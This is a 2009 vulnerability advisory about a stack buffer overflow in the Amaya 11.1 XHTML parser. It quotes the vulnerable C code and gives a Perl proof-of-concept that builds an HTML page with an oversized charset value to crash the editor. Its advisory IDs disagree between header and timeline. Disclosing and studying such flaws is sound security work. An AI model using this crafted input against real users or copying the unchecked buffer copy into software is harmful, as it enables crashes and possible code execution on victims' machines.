Amaya 11.1 XHTML Parser Remote Buffer Overflow PoC

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Amaya 11.1 XHTML Parser Remote Buffer Overflow PoC

来源：c1c4tr1z@voodoo-labs.org 作者：cicatriz 发布时间：2009-04-07

#=cicatriz <c1c4tr1z@voodoo-labs.org>=#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~(advisories)=#
     /)           /)     /)
_ _ _______(/ ________ // _   (/_ _       _____ _
(/__(_)(_)(_(_(_)(_)    (/_(_(_/_) /_)_ o (_)/ (_(_/_
                         .-/
#=Amaya 11.1 XHTML Parser Buffer Overflow=#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~(_/~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=#
#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=#
#=Advisory & Vulnerability Information=#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=#

Title: Amaya 11.1 XHTML Parser Buffer Overflow
Advisory ID: VUDO-2009-0104
Advisory URL: http://research.voodoo-labs.org/advisories/2
Date founded: 2009-03-30
Vendors contacted: N/A
Class: Buffer Overflow
Remotely Exploitable: Yes
Locally Exploitable: Yes
Exploit/PoC Available: Yes

#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=#
#=Tested & Vulnerable packages=#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=#

[+] Amaya 11.1
[+] Amaya 11

Non tested but possible:
[*] Amaya 10

#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=#
#=Solutions and Workarounds=#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=#

Amaya is planning to release a newer version (11.2 snapshot) [1]

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#=Technical Information=#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=#

A stack buffer overflow have been discovered in the Amaya [1] Web Editor's XHTML parser function:
ParseCharsetAndContentType(), wich can be used to compromise the victim's system via arbitrary code execution.

The overflow occurs when the application process the "charset" type from a crafted HTML page.If the charset
has a large amount of chars can lead to a stack buffer overflow and, maybe, be exploited using printable ASCII
characters. When the application was debugged, it showed that the overflow occurs in the function
"ParseCharsetAndContentType":

+++Amaya/amaya/XHTMLbuilder.c

    68 void ParseCharsetAndContentType (Element el, Document doc)
    69
    70 {
    71 AttributeType attrType;
    72 Attribute     attr;
    73 ElementType   elType;
    74 CHARSET       charset;
    75 char         *text, *text2, *ptrText, *str; XXX
    76 char          charsetname[MAX_LENGTH];
    77 int           length;
    78 int           pos, index = 0;
    79
...
   125
   126                       if (charset == UNDEFINED_CHARSET)
   127                         {
   128                           /* the charset is not already defined by the http header */
   129                           str = strstr (text2, "charset=");
   130                           if (str)
   131                             {
   132                               pos = str - text2 + 8;
   133                               while (text2[pos] != SPACE &&
   134                                      text2[pos] != TAB && text2[pos] != EOS)
   135                                 charsetname[index++] = text2[pos++]; XXX
   136                               charsetname[index] = EOS;
   137                               charset = TtaGetCharset (charsetname);
   138                               if (charset != UNDEFINED_CHARSET)
   139                                 TtaSetDocumentCharset (doc, charset, FALSE);
   140                             }
   141                         }
   142                       TtaFreeMemory (text2);
   143                     }
   144                 }
   145             }
   146           TtaFreeMemory (text);
   147         }
   148     }

---Amaya/amaya/XHTMLbuilder.c

So, the application creates a buffer called "charsetname" with a length of 1024 bytes and then tries to fill
it with the charset type name, skipping the 8 bytes of "charset=", without making any type of length check.
If an HTML page has something like this it might produce the overflow:

+++
<meta http-equiv="Content-Type" content="text/html; charset="AAAAAAAAAAAAAAAAAAAAAAAA...x1922" />
---

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#=Proof of Concept=#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=#

The following perl script creates an HTML file that reproduces the overflow:

+++amaya_poc.pl

#!/usr/bin/perl -w

# [*] Amaya 11.1 XHTML Parser Buffer Overflow POC
# [*] C1c4Tr1Z <c1c4tr1z@voodoo-labs.org>
## Copyright (c) 2008-2009 Voodoo Research Group.

my $filename="b0f.html";
my $b0f="x41"x1922;
my $vulnerable=qq{
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset={b0f}">
</head>

<body>
</body>
</html>
};
#debug: "gdb -q --args "/usr/lib/Amaya/wx/bin/amaya_bin" ./$filename"
my $exec="/usr/lib/Amaya/wx/bin/amaya_bin ./$filename";

open(HTML, "> $filename") || die "[-] Error ($!). Exiting..n";
$vulnerable=~s|({b0f})+|$b0f|g;
print HTML $vulnerable;
close(HTML);

print "[+] File $filename created.n";
print "[+] Setting enviroment variables..n";

$ENV{'XLIB_SKIP_ARGB_VISUALS'}=1;
$ENV{'G_SLICE'}="always-malloc";

print "[+] Executing amayan";
sleep(3);
exec("clear; $exec");

---amaya_poc.pl

+++console
$ perl amaya.pl
[+] File b0f.html created.
[+] Setting enviroment variables..
[+] Executing amaya

* Amaya: Error Irrecuperable ***Segmentation fault
$
---

#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=#
#=Reporting Timeline=#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=#

[*] 30-03-2009: Bug discovered.
[*] 01-04-2009: Advisory VUDO-2009-3003 published without notifying the vendor.

#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=#
#=References=#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=#

[1] Amaya Project Homepage: http://www.w3.org/Amaya/

#=cicatriz <c1c4tr1z@voodoo-labs.org>=#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~(advisories)=#
#=mié 01 abr 2009 ART=#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=#

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